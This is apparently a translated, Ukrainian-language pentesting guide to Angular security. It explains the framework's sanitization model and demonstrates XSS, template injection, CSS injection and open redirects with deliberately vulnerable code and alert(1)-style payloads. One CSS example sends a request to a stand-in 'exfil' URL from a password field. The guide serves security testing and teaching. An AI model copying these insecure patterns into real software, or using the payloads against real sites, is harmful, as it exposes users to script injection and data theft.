Angular

Чек-лист

Чек-лист звідси.

Що таке Angular

Angular - це потужний та відкритий фронтенд-фреймворк, який підтримується Google. Він використовує TypeScript для покращення зрозумілості коду та налагодження. З міцними механізмами безпеки Angular запобігає поширеним вразливостям на клієнтській стороні, таким як XSS та відкриті перенаправлення. Його можна використовувати також на стороні сервера, тому важливо враховувати аспекти безпеки з обох сторін.

Архітектура фреймворку

Для кращого розуміння основ Angular давайте розглянемо його основні концепції.

Зазвичай загальний проект Angular виглядає так:

my-workspace/
├── ... #workspace-wide configuration files
├── src
   ├── app
      ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
      ├── app.component.ts #defines the logic for the application's root component
      ├── app.component.html #defines the HTML template associated with the root component
      ├── app.component.css #defines the base CSS stylesheet for the root component
      ├── app.component.spec.ts #defines a unit test for the root component
      └── app-routing.module.ts #provides routing capability for the application
   ├── lib
      └── src #library-specific configuration files
   ├── index.html #main HTML page, where the component will be rendered in
   └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace

Згідно з документацією, кожне додаток Angular має принаймні один компонент, кореневий компонент (AppComponent), який з'єднує ієрархію компонентів з DOM. Кожен компонент визначає клас, який містить дані та логіку додатка, і пов'язаний з HTML-шаблоном, який визначає вид, що відображається в цільовому середовищі. Декоратор @Component() ідентифікує клас нижче як компонент та надає шаблон та пов'язані з компонентом метадані. AppComponent визначений у файлі app.component.ts.

Angular NgModules визначають контекст компіляції для набору компонентів, який призначений для домену додатка, робочого процесу або тісно пов'язаного набору можливостей. У кожному додатку Angular є кореневий модуль, зазвичай названий AppModule, який надає механізм завантаження, що запускає додаток. Зазвичай додаток містить багато функціональних модулів. AppModule визначений у файлі app.module.ts.

Модуль маршрутизатора Angular Router надає сервіс, який дозволяє визначити шлях навігації між різними станами додатка та ієрархіями видів у вашому додатку. RouterModule визначений у файлі app-routing.module.ts.

Для даних або логіки, які не пов'язані з конкретним видом та які ви хочете поділити між компонентами, створюється клас сервісу. Визначення класу сервісу негайно передує декоратор @Injectable(). Декоратор надає метадані, які дозволяють іншим постачальникам бути внесеними як залежності у ваш клас. Впровадження залежностей (DI) дозволяє зберігати ваші класи компонентів легкими та ефективними. Вони не отримують дані з сервера, не перевіряють введення користувача або не реєструють безпосередньо в консоль; вони делегують такі завдання сервісам.

Налаштування карт джерел

Фреймворк Angular перетворює файли TypeScript у код JavaScript, слідуючи параметрам tsconfig.json, а потім будує проект з конфігурацією angular.json. Придивившись до файлу angular.json, ми помітили опцію для увімкнення або вимкнення карт джерел. Згідно з документацією Angular, у конфігурації за замовчуванням карта джерел увімкнена для скриптів і за замовчуванням не прихована:

"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}

Загалом, файли sourcemap використовуються для налагодження з метою відображення згенерованих файлів на їх оригінальні файли. Тому не рекомендується використовувати їх у виробничому середовищі. Якщо sourcemaps увімкнені, це полегшує читабельність та допомагає у аналізі файлів, реплікуючи початковий стан проекту Angular. Однак, якщо вони вимкнені, рецензент все ще може аналізувати скомпільований файл JavaScript вручну, шукаючи антибезпечні шаблони.

Крім того, скомпільований файл JavaScript з проектом Angular можна знайти у розробницьких інструментах браузера → Джерела (або Відлагоджувач та Джерела) → [id].main.js. Залежно від увімкнених параметрів, у кінці цього файлу може бути наступний рядок //# sourceMappingURL=[id].main.js.map або його може не бути, якщо параметр hidden встановлено на true. Тим не менш, якщо sourcemap вимкнено для scripts, тестування стає складнішим, і ми не можемо отримати файл. Крім того, sourcemap можна увімкнути під час побудови проекту, наприклад, ng build --source-map.

Зв'язування даних

Зв'язування відноситься до процесу спілкування між компонентом та відповідним йому представленням. Воно використовується для передачі даних до та з фреймворку Angular. Дані можуть передаватися різними способами, такими як через події, інтерполяцію, властивості або за допомогою механізму двостороннього зв'язування. Крім того, дані також можуть бути спільно використані між пов'язаними компонентами (батьківсько-дочірній зв'язок) та між двома не пов'язаними компонентами за допомогою функціоналу Сервісу.

Ми можемо класифікувати зв'язування за потоком даних:

  • Джерело даних до цільового представлення (включає інтерполяцію, властивості, атрибути, класи та стилі); може бути застосовано за допомогою [] або {{}} в шаблоні;

  • Цільове представлення до джерела даних (включає події); може бути застосовано за допомогою () в шаблоні;

  • Двостороннє; може бути застосовано за допомогою [()] в шаблоні.

Зв'язування може бути викликане для властивостей, подій та атрибутів, а також для будь-якого публічного члена директиви джерела:

ТИПЦІЛЬПРИКЛАДИ

Властивість

Властивість елемента, властивість компонента, властивість директиви

<img [alt]="hero.name" [src]="heroImageUrl">

Подія

Подія елемента, подія компонента, подія директиви

<button type="button" (click)="onSave()">Save

Двостороннє

Подія та властивість

<input [(ngModel)]="name">

Атрибут

Атрибут (виняток)

<button type="button" [attr.aria-label]="help">help

Клас

Властивість класу

<div [class.special]="isSpecial">Special

Стиль

Властивість стилю

<button type="button" [style.color]="isSpecial ? 'red' : 'green'">

Модель безпеки Angular

Дизайн Angular включає кодування або санітизацію всіх даних за замовчуванням, що ускладнює виявлення та експлуатацію вразливостей XSS в проектах Angular. Існують два відмінні сценарії обробки даних:

  1. Інтерполяція або {{user_input}} - виконує кодування, яке залежить від контексту, та інтерпретує введення користувача як текст;

//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
{{test}}

Результат: &lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt; 2. Зв'язування з властивостями, атрибутами, класами та стилями або [attribute]="user_input" - виконує санітизацію на основі наданого контексту безпеки.

//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
<div [innerHtml]="test"></div>

Результат: <div><h1>test</h1></div>

Існує 6 типів SecurityContext :

  • None;

  • HTML використовується при інтерпретації значення як HTML;

  • STYLE використовується при зв'язуванні CSS у властивість style;

  • URL використовується для URL-властивостей, наприклад <a href>;

  • SCRIPT використовується для коду JavaScript;

  • RESOURCE_URL як URL, який завантажується та виконується як код, наприклад, у <script src>.

Вразливості

Обхід методів довіри до безпеки

Angular вводить список методів для обходу свого процесу санітизації за замовчуванням та позначення значення, яке можна безпечно використовувати в конкретному контексті, як у наступних п'яти прикладах:

  1. bypassSecurityTrustUrl використовується для позначення того, що задане значення є безпечним URL-стилем:

//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');

//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Click me</a>

//результат
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
  1. bypassSecurityTrustResourceUrl використовується для позначення того, що задане значення є безпечним URL-ресурсом:

//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");

//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>

//результат
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
  1. bypassSecurityTrustHtml використовується для позначення того, що задане значення є безпечним HTML. Зверніть увагу, що вставка елементів script в дерево DOM цим способом не призведе до виконання вкладеного коду JavaScript через те, як ці елементи додаються до дерева DOM.

//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");

//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>

//результат
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
  1. bypassSecurityTrustScript використовується для позначення того, що задане значення є безпечним JavaScript. Однак ми виявили, що його поведінка непередбачувана, оскільки ми не могли виконати код JS в шаблонах за допомогою цього методу.

//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");

//app.component.html
<script [innerHtml]="trustedScript"></script>

//результат
-
  1. bypassSecurityTrustStyle використовується для позначення того, що задане значення є безпечним CSS. Наступний приклад ілюструє впровадження CSS:

//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');

//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">

//результат
Request URL: GET example.com/exfil/a

Angular надає метод sanitize для санітизації даних перед їх відображенням у представленнях. Цей метод використовує наданий контекст безпеки та очищує вхідні дані відповідно. Проте важливо використовувати правильний контекст безпеки для конкретних даних та контексту. Наприклад, застосування санітизатора з SecurityContext.URL на вміст HTML не забезпечує захист від небезпечних значень HTML. У таких сценаріях неправильне використання контексту безпеки може призвести до вразливостей XSS.

Впровадження HTML

Ця уразливість виникає, коли введення користувача прив'язується до будь-якої з трьох властивостей: innerHTML, outerHTML або iframe srcdoc. При прив'язці до цих атрибутів HTML інтерпретується так, як воно є, але введення санітарно очищується за допомогою SecurityContext.HTML. Таким чином, впровадження HTML можливе, але відсутній міжсайтовий скриптинг (XSS).

Приклад використання innerHTML:

//app.component.ts
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}

//app.component.html
<div [innerHTML]="test"></div>

Результат - <div><h1>тест</h1></div>.

Впровадження шаблону

Відображення на клієнтській стороні (CSR)

Angular використовує шаблони для динамічної побудови сторінок. Підхід передбачає вкладення виразів шаблону для оцінки Angular всередині подвійних фігурних дужок ({{}}). Таким чином, фреймворк пропонує додатковий функціонал. Наприклад, шаблон типу {{1+1}} відобразиться як 2.

Зазвичай Angular екранує введення користувача, яке може бути сплутане з виразами шаблону (наприклад, символи, такі як `< > ' " ``). Це означає, що для обхідної цієї обмеження потрібні додаткові кроки, такі як використання функцій, які генерують об'єкти рядка JavaScript, щоб уникнути використання заборонених символів. Однак для досягнення цього ми повинні врахувати контекст Angular, його властивості та змінні. Тому атака впровадження шаблону може виглядати наступним чином:

//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})

Як показано вище: constructor відноситься до області властивості об'єкта constructor, що дозволяє нам викликати конструктор String та виконувати довільний код.

Рендеринг на стороні сервера (SSR)

На відміну від CSR, який відбувається в DOM браузера, Angular Universal відповідає за SSR файлів шаблонів. Ці файли потім доставляються користувачеві. Незважаючи на це розмежування, Angular Universal застосовує ті ж механізми санітарії, які використовуються в CSR, для підвищення безпеки SSR. Уразливість внедрення шаблону в SSR можна виявити так само, як в CSR, оскільки використовується та ж мова шаблону.

Звичайно, також існує можливість введення нових уразливостей внедрення шаблону при використанні сторонніх шаблонних движків, таких як Pug та Handlebars.

XSS

Інтерфейси DOM

Як вже зазначалося, ми можемо безпосередньо отримати доступ до DOM, використовуючи інтерфейс Document. Якщо вхідні дані користувача не перевіряються заздалегідь, це може призвести до уразливостей внедрення скриптів (XSS).

Ми використовували методи document.write() та document.createElement() у наведених нижче прикладах:

//app.component.ts 1
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}

//app.component.ts 2
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}

//app.component.ts 3
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}

Класи Angular

Є деякі класи, які можна використовувати для роботи з елементами DOM в Angular: ElementRef, Renderer2, Location та Document. Детальний опис останніх двох класів наведено в розділі Відкриті перенаправлення. Основна відмінність між першими двома полягає в тому, що API Renderer2 надає шар абстракції між елементом DOM та кодом компонента, тоді як ElementRef просто містить посилання на елемент. Тому, згідно з документацією Angular, API ElementRef слід використовувати лише в останньому випадку, коли потрібен прямий доступ до DOM.

  • ElementRef містить властивість nativeElement, яку можна використовувати для маніпулювання елементами DOM. Однак неправильне використання nativeElement може призвести до вразливості на впровадження XSS, як показано нижче:

//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
  • Незважаючи на те, що Renderer2 надає API, яке можна безпечно використовувати навіть тоді, коли прямий доступ до вихідних елементів не підтримується, в ньому все ще є деякі вразливості безпеки. За допомогою Renderer2 можна встановлювати атрибути для елементу HTML за допомогою методу setAttribute(), який не має механізмів запобігання XSS.

//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}

//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
  • Для встановлення властивості елементу DOM можна використовувати метод Renderer2.setProperty() та спровокувати атаку XSS:

//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}

//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>

Під час нашого дослідження ми також розглянули поведінку інших методів Renderer2, таких як setStyle(), createComment() та setValue(), щодо XSS та впровадження CSS. Однак ми не змогли знайти жодних дійсних векторів атаки для цих методів через їх функціональні обмеження.

jQuery

jQuery - це швидка, компактна та функціонально багата бібліотека JavaScript, яку можна використовувати в проекті Angular для допомоги у маніпулюванні об'єктами HTML DOM. Однак, як відомо, методи цієї бібліотеки можуть бути використані для досягнення вразливості XSS. Для обговорення того, як деякі вразливі методи jQuery можуть бути використані в проектах Angular, ми додали цей підрозділ.

  • Метод html() отримує HTML-вміст першого елемента в наборі відповідних елементів або встановлює HTML-вміст кожного відповідного елемента. Однак за замовчуванням будь-який конструктор або метод jQuery, який приймає рядок HTML, може потенційно виконати код. Це може статися через впровадження тегів <script> або використання атрибутів HTML, які виконують код, як показано в прикладі.

//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}

//app.component.html
<button>Click me</button>
<p>some text here</p>
  • Метод jQuery.parseHTML() використовує вбудовані методи для перетворення рядка в набір вузлів DOM, які потім можуть бути вставлені в документ.

jQuery.parseHTML(data [, context ] [, keepScripts ])

Як зазначено раніше, більшість методів jQuery, які приймають рядки HTML, будуть виконувати скрипти, які включені в HTML. Метод jQuery.parseHTML() не виконує скрипти в розібраному HTML, якщо keepScripts не є явно true. Однак у більшості середовищ все ще можна виконати скрипти опосередковано; наприклад, через атрибут <img onerror>.

//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}

//app.component.html
<button>Click me</button>
<p id="palias">some text</p>

Відкриті перенаправлення

Інтерфейси DOM

Згідно з документацією W3C, об'єкти window.location та document.location у сучасних браузерах розглядаються як псевдоніми. Тому вони мають схожу реалізацію деяких методів та властивостей, що може призвести до відкритого перенаправлення та DOM XSS з атаками схеми javascript://, як показано нижче.

  • window.location.href(та document.location.href)

Канонічний спосіб отримання поточного об'єкта місцезнаходження DOM - використання window.location. Його також можна використовувати для перенаправлення браузера на нову сторінку. Таким чином, контроль над цим об'єктом дозволяє нам використовувати вразливість відкритого перенаправлення.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>

Процес експлуатації ідентичний для наступних сценаріїв.

  • window.location.assign()(та document.location.assign())

Цей метод призводить до завантаження та відображення документа за вказаною URL. Якщо у нас є контроль над цим методом, він може бути вразливим для атаки відкритого перенаправлення.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
  • window.location.replace()(та document.location.replace())

Цей метод замінює поточний ресурс на той, який вказано за URL.

Відмінність від методу assign() полягає в тому, що після використання window.location.replace() поточна сторінка не буде збережена в історії сесій. Однак також можливо використовувати вразливість відкритого перенаправлення, коли у нас є контроль над цим методом.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
  • window.open()

Метод window.open() приймає URL та завантажує ресурс, який він ідентифікує, в нову або існуючу вкладку або вікно. Контроль над цим методом також може бути можливістю спровокувати вразливість XSS або відкритого перенаправлення.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}

Класи Angular

  • Згідно з документацією Angular, Angular Document те саме, що і DOM-документ, що означає, що можна використовувати загальні вектори для DOM-документа для експлуатації клієнтських вразливостей в Angular. Властивості та методи Document.location можуть бути джерелами для успішних атак відкритого перенаправлення, як показано в прикладі:

//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }

goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
  • Під час фази дослідження ми також переглянули клас Angular Location для вразливостей відкритого перенаправлення, але жодних дійсних векторів не було знайдено. Location - це сервіс Angular, який додатки можуть використовувати для взаємодії з поточною URL-адресою браузера. У цьому сервісі є кілька методів для маніпулювання заданою URL-адресою - go(), replaceState(), та prepareExternalUrl(). Однак ми не можемо використовувати їх для перенаправлення на зовнішній домен. Наприклад:

//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}

Результат: http://localhost:4200/http://google.com/about

  • Клас Angular Router використовується в основному для навігації в межах одного домену і не вводить додаткових вразливостей до додатку:

//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]

Результат: http://localhost:4200/https:

Наступні методи також навігують в межах області домену:

const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')

Посилання

Last updated